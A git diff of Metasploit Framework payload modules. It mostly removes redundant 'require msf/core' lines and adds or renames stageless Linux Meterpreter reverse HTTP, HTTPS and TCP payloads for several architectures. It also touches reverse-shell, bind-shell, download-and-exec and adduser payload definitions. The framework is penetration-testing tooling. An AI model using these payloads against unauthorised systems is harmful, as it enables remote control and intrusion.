b/modules/payloads/singles/cmd/windows/bind_ruby.rb index dbeaeba1c7..a3373c54cb 100644 --- a/modules/payloads/singles/cmd/windows/bind_ruby.rb +++ b/modules/payloads/singles/cmd/windows/bind_ruby.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb index b9f1e41a93..c52079e5d5 100644 --- a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb +++ b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -40,7 +39,7 @@ module MetasploitModule OptBool.new('INCLUDECMD', [ true, "Include the cmd /q /c", false ]), OptBool.new('INCLUDEWSCRIPT', [ true, "Include the wscript command", false ]), OptBool.new('DELETE', [ true, "Delete created .vbs after download", false ]) - ], self.class) + ]) end def generate diff --git a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb index 0f9ee789a3..9900e867f8 100644 --- a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb +++ b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -39,7 +38,7 @@ module MetasploitModule OptString.new('EXT', [ true, "The extension to give the saved file", "exe" ]), OptBool.new('INCLUDECMD', [ true, "Include the cmd /q /c", false ]), OptBool.new('DELETE', [ true, "Delete created .vbs after download", true ]) - ], self.class) + ]) end def generate diff --git a/modules/payloads/singles/cmd/windows/generic.rb b/modules/payloads/singles/cmd/windows/generic.rb index e97a3f57b1..9d9db8fb5f 100644 --- a/modules/payloads/singles/cmd/windows/generic.rb +++ b/modules/payloads/singles/cmd/windows/generic.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_shell' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -37,7 +36,7 @@ module MetasploitModule register_options( [ OptString.new('CMD', [ true, "The command string to execute" ]), - ], self.class) + ]) end # diff --git a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb index b047521eeb..588cf15569 100644 --- a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb +++ b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/powershell' require 'msf/core/payload/windows/powershell' @@ -38,7 +37,7 @@ module MetasploitModule )) register_options( [ OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]), - ], self.class) + ]) end def generate diff --git a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb index 18701955de..5525a64d5b 100644 --- a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/powershell' require 'msf/core/payload/windows/powershell' @@ -45,7 +44,7 @@ module MetasploitModule register_options( [ OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]), - ], self.class) + ]) end def generate diff --git a/modules/payloads/singles/cmd/windows/reverse_lua.rb b/modules/payloads/singles/cmd/windows/reverse_lua.rb index 8fb40e10d1..ca8cd17ab7 100644 --- a/modules/payloads/singles/cmd/windows/reverse_lua.rb +++ b/modules/payloads/singles/cmd/windows/reverse_lua.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/windows/reverse_perl.rb b/modules/payloads/singles/cmd/windows/reverse_perl.rb index 9b6eefe03a..db575ac2e2 100644 --- a/modules/payloads/singles/cmd/windows/reverse_perl.rb +++ b/modules/payloads/singles/cmd/windows/reverse_perl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb index b871e28be5..77beaf4a42 100644 --- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb +++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_shell' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/cmd/windows/reverse_ruby.rb b/modules/payloads/singles/cmd/windows/reverse_ruby.rb index 056283fb95..40c7cd7c53 100644 --- a/modules/payloads/singles/cmd/windows/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/windows/reverse_ruby.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/firefox/exec.rb b/modules/payloads/singles/firefox/exec.rb index 782ed8627d..385498958e 100644 --- a/modules/payloads/singles/firefox/exec.rb +++ b/modules/payloads/singles/firefox/exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - module MetasploitModule CachedSize = 1019 @@ -29,7 +27,7 @@ module MetasploitModule register_options([ OptString.new('CMD', [true, "The command string to execute", 'touch /tmp/a.txt']), OptBool.new('WSCRIPT', [true, "On Windows, drop a vbscript to hide the cmd prompt", false]) - ], self.class) + ]) end def generate diff --git a/modules/payloads/singles/firefox/shell_bind_tcp.rb b/modules/payloads/singles/firefox/shell_bind_tcp.rb index 450a54ed7a..87b54e5604 100644 --- a/modules/payloads/singles/firefox/shell_bind_tcp.rb +++ b/modules/payloads/singles/firefox/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/firefox/shell_reverse_tcp.rb b/modules/payloads/singles/firefox/shell_reverse_tcp.rb index 4f9ad61ee7..787c485bbb 100644 --- a/modules/payloads/singles/firefox/shell_reverse_tcp.rb +++ b/modules/payloads/singles/firefox/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/generic/custom.rb b/modules/payloads/singles/generic/custom.rb index 1d356f94c0..bdc671d79f 100644 --- a/modules/payloads/singles/generic/custom.rb +++ b/modules/payloads/singles/generic/custom.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/generic' module MetasploitModule @@ -31,7 +30,7 @@ module MetasploitModule [ OptString.new('PAYLOADFILE', [ false, "The file to read the payload from" ] ), OptString.new('PAYLOADSTR', [ false, "The string to use as a payload" ] ) - ], self.class) + ]) end # diff --git a/modules/payloads/singles/generic/debug_trap.rb b/modules/payloads/singles/generic/debug_trap.rb index 10afe263d7..688b432b66 100644 --- a/modules/payloads/singles/generic/debug_trap.rb +++ b/modules/payloads/singles/generic/debug_trap.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/payload/generic' diff --git a/modules/payloads/singles/generic/shell_bind_tcp.rb b/modules/payloads/singles/generic/shell_bind_tcp.rb index 08d92ec255..df1354760c 100644 --- a/modules/payloads/singles/generic/shell_bind_tcp.rb +++ b/modules/payloads/singles/generic/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/generic' require 'msf/core/handler/bind_tcp' diff --git a/modules/payloads/singles/generic/shell_reverse_tcp.rb b/modules/payloads/singles/generic/shell_reverse_tcp.rb index f1fe1097fe..7d5cece6bb 100644 --- a/modules/payloads/singles/generic/shell_reverse_tcp.rb +++ b/modules/payloads/singles/generic/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/generic' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/singles/generic/tight_loop.rb b/modules/payloads/singles/generic/tight_loop.rb index 3ca11012b8..51f2e22ab8 100644 --- a/modules/payloads/singles/generic/tight_loop.rb +++ b/modules/payloads/singles/generic/tight_loop.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/generic' module MetasploitModule diff --git a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb index fe0c9b1342..16b2ec1407 100644 --- a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/jsp' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb index a9118aa542..3ab1deec75 100644 --- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/jsp' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb index 3754ae2026..8163557387 100644 --- a/modules/payloads/singles/java/shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..b7a6ca97c7 --- /dev/null +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_http' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_aarch64_linux' + +module MetasploitModule + + CachedSize = 650024 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux + ) + ) + end + + def generate + opts = {scheme: 'http'} + MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..776a0426f4 --- /dev/null +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_https' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_aarch64_linux' + +module MetasploitModule + + CachedSize = 650024 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux + ) + ) + end + + def generate + opts = {scheme: 'https'} + MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/aarch64/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb similarity index 73% rename from modules/payloads/singles/linux/aarch64/mettle_reverse_tcp.rb rename to modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb index 8ce52ca5eb..a7f546bc9a 100644 --- a/modules/payloads/singles/linux/aarch64/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' @@ -11,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux' module MetasploitModule - CachedSize = 646808 + CachedSize = 650024 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions @@ -21,10 +20,11 @@ module MetasploitModule super( update_info( info, - 'Name' => 'Linux Meterpreter', - 'Description' => 'Run the mettle server payload (stageless)', + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', 'Author' => [ - 'Adam Cammack ' + 'Adam Cammack ', + 'Brent Cook ' ], 'Platform' => 'linux', 'Arch' => ARCH_AARCH64, @@ -36,6 +36,7 @@ module MetasploitModule end def generate - MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config).to_binary :exec + opts = {scheme: 'tcp'} + MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec end end diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..1b0d8eb5d3 --- /dev/null +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_http' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_armbe_linux' + +module MetasploitModule + + CachedSize = 642304 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_ARMBE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_armbe_Linux + ) + ) + end + + def generate + opts = {scheme: 'http'} + MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..505a2331bb --- /dev/null +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_https' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_armbe_linux' + +module MetasploitModule + + CachedSize = 642304 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_ARMBE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_armbe_Linux + ) + ) + end + + def generate + opts = {scheme: 'https'} + MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/armbe/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb similarity index 72% rename from modules/payloads/singles/linux/armbe/mettle_reverse_tcp.rb rename to modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb index e399f321e4..59589b16d8 100644 --- a/modules/payloads/singles/linux/armbe/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' @@ -11,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux' module MetasploitModule - CachedSize = 639520 + CachedSize = 642304 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions @@ -21,10 +20,11 @@ module MetasploitModule super( update_info( info, - 'Name' => 'Linux Meterpreter', - 'Description' => 'Run the mettle server payload (stageless)', + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', 'Author' => [ - 'Adam Cammack ' + 'Adam Cammack ', + 'Brent Cook ' ], 'Platform' => 'linux', 'Arch' => ARCH_ARMBE, @@ -36,6 +36,7 @@ module MetasploitModule end def generate - MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config).to_binary :exec + opts = {scheme: 'tcp'} + MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec end end diff --git a/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb b/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb index a55830a14e..788eb1357c 100644 --- a/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -33,7 +32,7 @@ module MetasploitModule [ OptString.new('CMD', [ true, "The command to execute.", "/bin/sh" ]), Opt::LPORT(4444) - ], self.class) + ]) end def generate cmd = (datastore['CMD'] || '') + "\x00" diff --git a/modules/payloads/singles/linux/armle/adduser.rb b/modules/payloads/singles/linux/armle/adduser.rb index 7bee064a1a..9cf9867695 100644 --- a/modules/payloads/singles/linux/armle/adduser.rb +++ b/modules/payloads/singles/linux/armle/adduser.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - ### # # AddUser @@ -37,7 +35,7 @@ module MetasploitModule OptString.new('USER', [ true, "The username to create", "metasploit" ]), OptString.new('PASS', [ true, "The password for this user", "metasploit" ]), OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]), - ], self.class) + ]) end # diff --git a/modules/payloads/singles/linux/armle/exec.rb b/modules/payloads/singles/linux/armle/exec.rb index 30f6a53e8d..7c0b4deefe 100644 --- a/modules/payloads/singles/linux/armle/exec.rb +++ b/modules/payloads/singles/linux/armle/exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - ### # # Exec @@ -32,7 +30,7 @@ module MetasploitModule register_options( [ OptString.new('CMD', [ true, "The command string to execute" ]), - ], self.class) + ]) end def generate_stage(opts={}) diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..121a74192e --- /dev/null +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_http' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_armle_linux' + +module MetasploitModule + + CachedSize = 641064 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_armle_Linux + ) + ) + end + + def generate + opts = {scheme: 'http'} + MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..9efd3163dc --- /dev/null +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_https' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_armle_linux' + +module MetasploitModule + + CachedSize = 641064 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_armle_Linux + ) + ) + end + + def generate + opts = {scheme: 'https'} + MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/armle/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb similarity index 72% rename from modules/payloads/singles/linux/armle/mettle_reverse_tcp.rb rename to modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb index 414d9d3b4a..2b502807d0 100644 --- a/modules/payloads/singles/linux/armle/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' @@ -11,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux' module MetasploitModule - CachedSize = 638320 + CachedSize = 641064 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions @@ -21,10 +20,11 @@ module MetasploitModule super( update_info( info, - 'Name' => 'Linux Meterpreter', - 'Description' => 'Run the mettle server payload (stageless)', + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', 'Author' => [ - 'Adam Cammack ' + 'Adam Cammack ', + 'Brent Cook ' ], 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, @@ -36,6 +36,7 @@ module MetasploitModule end def generate - MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config).to_binary :exec + opts = {scheme: 'tcp'} + MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec end end diff --git a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb index 3f0721ce5d..36a7ded1a9 100644 --- a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -115,7 +114,7 @@ module MetasploitModule [ OptString.new('SHELL', [ true, "The shell to execute.", "/system/bin/sh" ]), OptString.new('ARGV0', [ false, "argv[0] to pass to execve", "sh" ]) # mostly used for busybox - ], self.class) + ]) end def generate diff --git a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb index a1f555ed66..57b8082aca 100644 --- a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -115,7 +114,7 @@ module MetasploitModule [ OptString.new('SHELL', [ true, "The shell to execute.", "/system/bin/sh" ]), OptString.new('ARGV0', [ false, "argv[0] to pass to execve", "sh" ]) # mostly used for busybox - ], self.class) + ]) end def generate diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..bb3df3f2ae --- /dev/null +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_http' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_mips64_linux' + +module MetasploitModule + + CachedSize = 1023816 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_mips64_Linux + ) + ) + end + + def generate + opts = {scheme: 'http'} + MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..6d518cce06 --- /dev/null +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_https' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_mips64_linux' + +module MetasploitModule + + CachedSize = 1023816 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_mips64_Linux + ) + ) + end + + def generate + opts = {scheme: 'https'} + MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/mips64/mettle_reverse_tcp.rb 